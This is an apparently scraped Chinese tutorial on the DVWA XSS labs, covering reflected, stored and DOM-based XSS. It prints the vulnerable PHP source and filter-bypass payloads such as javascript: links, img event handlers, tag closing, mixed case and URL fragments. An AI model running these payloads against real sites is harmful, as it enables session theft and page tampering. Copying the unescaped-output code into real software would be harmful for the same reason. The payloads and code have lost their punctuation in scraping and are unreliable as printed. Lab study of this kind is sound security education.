网站推广公司,jq网站特效插件,手机网站和微信网站有哪些,企业宣传片制作哪家好什么是XSS
跨站点脚本(Cross Site Scripting,XSS)是指客户端代码注入攻击#xff0c;攻击者可以在合法网站或Web应用程序中执行恶意脚本。当wb应用程序在其生成的输出中使用未经验证或未编码的用户输入时#xff0c;就会发生XSS。 跨站脚本攻击#xff0c;XSS(Cross Site S…什么是XSS
跨站点脚本(Cross Site Scripting,XSS)是指客户端代码注入攻击攻击者可以在合法网站或Web应用程序中执行恶意脚本。当wb应用程序在其生成的输出中使用未经验证或未编码的用户输入时就会发生XSS。 跨站脚本攻击XSS(Cross Site Scripting)。由于与CSS(Cascading Style Sheet))重名所以就更名为 XSS。 XSS作为OWASP TOP10(2017)内容之一主要使用JavaSript来完成恶意攻击的行为JS可以非常灵活的操纵HTML、CSS、浏览器这就使得XSS攻击“想象空间非常大。也就是说JS强大的灵活性和功能为XSS攻击提供了非常广阔的攻击面。
XSS攻击利用的是Javascript代码Javascript运行环境解释器是浏览器因为浏览器中有一个引擎专门解释运行Javascript的chrom v8引擎 XSS攻击的是客户端浏览器
XSS攻击模型
XSS 通过将精心构造的代码JavaScript注入到网页中并由浏览器解释运行这段JS 代码以达到恶意攻击的效果。当用户访问被XSS 脚本注入过的网页XSS 脚本就会被提取出来用户浏览器就会解析执行这段代码也就是说用户被攻击了。
整个XSS 攻击过程涉及三个角色 服务器 攻击者 客户端浏览器用户前端
攻击流程
攻击者将XSS代码注入到web服务器中受害者访问被注入的网页网页资源加载到受害者浏览器中浏览器发现加载内容包含js代码浏览器就尝试解释执行js代码一旦执行成功那么受害者浏览器就遭受了攻击攻击后的操作可能是将敏感信息发送给攻击者攻击者拿到敏感信息后进行恶意欺骗核心三步骤 攻击者向服务器注入恶意代码受害者访问服务器受害者执行恶意代码
XSS反射型
low等级
scriptalert(xss)/script输入在输入框中 出现弹窗表示攻击成功。
查看源代码
?phpheader (X-XSS-Protection: 0);// Is there any input?
if( array_key_exists( name, $_GET ) $_GET[ name ] ! NULL ) {// Feedback for end userecho preHello . $_GET[ name ] . /pre;
}?发现并没有任何过滤。
Medium等级
输入
scriptalert(xss)/script发现将js标签中的内容输出了可知后端代码将js标签过滤了。
输入js伪协议
a hrefjavascript:alert(/xss/)hello/a点击hello出现弹窗表示攻击成功 查看源代码 ?phpheader (X-XSS-Protection: 0);// Is there any input?
if( array_key_exists( name, $_GET ) $_GET[ name ] ! NULL ) //判断$_GET中是否包含name
{// Get input$name str_replace( script, , $_GET[ name ] );//将script替换为空// Feedback for end userecho preHello ${name}/pre;
}?发现将script替换为空
High等级
输入
scriptalert(xss)/script输入
a hrefjavascript:alert(/xss/)hello/a输入
img src# onclickalert(/xss/)点击图像的图标出现弹窗表示攻击成功。
查看源代码 ?phpheader (X-XSS-Protection: 0);// Is there any input?
if( array_key_exists( name, $_GET ) $_GET[ name ] ! NULL ) {// Get input$name preg_replace( /(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i, , $_GET[ name ] );//只要有script就直接过滤不管是不是大小写混写还是双写都过滤掉只要标签中包含script就过滤。所以使用事件。// Feedback for end userecho preHello ${name}/pre;
}?只要有script就直接过滤不管是不是大小写混写还是双写都过滤掉只要标签中包含script就过滤。所以使用事件但是事件不能单独存在所以要跟一个标签这里使用img标签
XSS存储型
low等级
输入姓名在留言处输入xss注入代码
scriptalert(/xss/)/script查看源代码 ?phpif( isset( $_POST[ btnSign ] ) ) {// Get input$message trim( $_POST[ mtxMessage ] );$name trim( $_POST[ txtName ] );// Sanitize message input$message stripslashes( $message );$message ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $message ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));// Sanitize name input$name ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $name ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));// Update database$query INSERT INTO guestbook ( comment, name ) VALUES ( $message, $name );;$result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre );//mysql_close();
}?说明
trim(string,charlist) 移除字符串两侧的空白字符或其他预定义字符stripslashes(string) 删除反斜杠/mysqli_real_escape_string(string,connection) 函数会对字符串string中的特殊符号\x00\n\r\‘“\x1a进行转义。
Medium等级
点击clear将Low等级的内容清理掉 上传
scriptalert(/xss/)/script内容被过滤了 查看源代码
?phpif( isset( $_POST[ btnSign ] ) ) {// Get input$message trim( $_POST[ mtxMessage ] );$name trim( $_POST[ txtName ] );// Sanitize message input$message strip_tags( addslashes( $message ) );$message ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $message ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));$message htmlspecialchars( $message );// Sanitize name input$name str_replace( script, , $name );$name ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $name ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));// Update database$query INSERT INTO guestbook ( comment, name ) VALUES ( $message, $name );;$result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre );//mysql_close();
}?说明
addslashes(string) 函数返回在预定义字符之前添加反斜杠的字符串预定义字符 ’ 、 、\ 、NULL。strip_tags(string) 函数剥去string字符串中的 HTML、XML 以及 PHP 的标签。htmlspecialchars(string) 把预定义的字符 “” 小于、 “” 大于、 、‘’、“” 转换为 HTML 实体防止浏览器将其作为HTML元素。
发现Message使用htmlspecialchars将一些特殊字符过滤了并且strip_tags函数把script标签给剥除了addslashes函数把 ’ 转义成了 \ ’
虽然Message被过滤了但是name只过滤了script可以在name中进行xss注入
但是前端代码中那么字段内容限制在10字符内所以在前端中进行修改将10改为100 name中输入
a href javascript:alert(/xss/)hello/a点击hello出现弹窗说明攻击成功
因为name之过滤了script那么是用大小写混写进行绕过
sCRiptalert(/xss/)/sCRiptHigh等级
查看源代码
?phpif( isset( $_POST[ btnSign ] ) ) {// Get input$message trim( $_POST[ mtxMessage ] );$name trim( $_POST[ txtName ] );// Sanitize message input$message strip_tags( addslashes( $message ) );$message ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $message ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));$message htmlspecialchars( $message );// Sanitize name input$name preg_replace( /(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i, , $name );$name ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $name ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));// Update database$query INSERT INTO guestbook ( comment, name ) VALUES ( $message, $name );;$result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre );//mysql_close();
}?可以看到high级别只是在medium级别上name参数用了正则表达式进行过滤而已因此只需要换一个同样能进行弹窗的标签即可。
首先修改页面中的Name参数长度为100然后输入如下命令
在name中输入
img src# onclickalert(/xss/)使用事件进行xss注入 XSSdom型
XSS(DOM)是一种基于DOM树的一种代码注入攻击方式可以是反射型的也可以是存储型的所以它一直被划分第三种XSS。与前两种XSS相比它最大的特点就是不与后台服务器交互只是通过浏览器的DOM树解析产生。除了jsflash等脚本语言也有可能存在XSS漏洞。
DOM是JS操作网页的接口全称为“文档对象模型”Document Object Model。它的作用是将网页转为一个JS对象从而可以用脚本进行各种操作比如增删内容。
Low等级
查看源码
?php# No protections, anything goes?没有任何过滤、只是将表单的输入打印出来那就意味着可以在url中输入JavaScript脚本来执行。
http://192.168.16.136/dv/vulnerabilities/xss_d/?defaultEnglishscriptalert(xss)/scriptMedium等级
查看源代码
?php// Is there any input?
if ( array_key_exists( default, $_GET ) !is_null ($_GET[ default ]) ) {$default $_GET[default];# Do not allow script tagsif (stripos ($default, script) ! false) {header (location: ?defaultEnglish);exit;}
}发现在这个里面再一次对script标签进行了替换。无法使用之前的方式进行XSS攻击
检查前端html语句。 value的值是从这个当中选出来的那么可以通过构造闭合来执行语句。
尝试使用img标签
img src1 οnerrοralert(xss)输入后发现页面没有变化
查看页面代码发现构造的语句已经被插入到了value当中不能成功执行的原因是select标签中只允许内嵌option标签而option标签是不能嵌套构造的img标签的因此需要先将前面的select标签和option标签都闭合后才能使用img标签。 /select/optionimg src1 οnerrοralert(xss);High等级
查看源码
?php// Is there any input?
if ( array_key_exists( default, $_GET ) !is_null ($_GET[ default ]) ) {# White list the allowable languagesswitch ($_GET[default]) {case French:case English:case German:case Spanish:# okbreak;default:header (location: ?defaultEnglish);exit;}
}?
此处使用了白名单过滤只允许传的 default值为 French English German Spanish 其中一个。
只能找方法绕过服务器端的处理直接在本地运行构造的语句可以过“#”来注释掉后面的内容因为URL栏中的“#”之后的内容不会被发送到服务器当中去不会经过JS的过滤只在客户端显示可以直接与浏览器进行交互。
#scriptalert(xss);/script如果没反应就刷新页面。
也可以使用 拼接另一个参数随便定义也就是双参数绕过。
scriptalert(xj)/script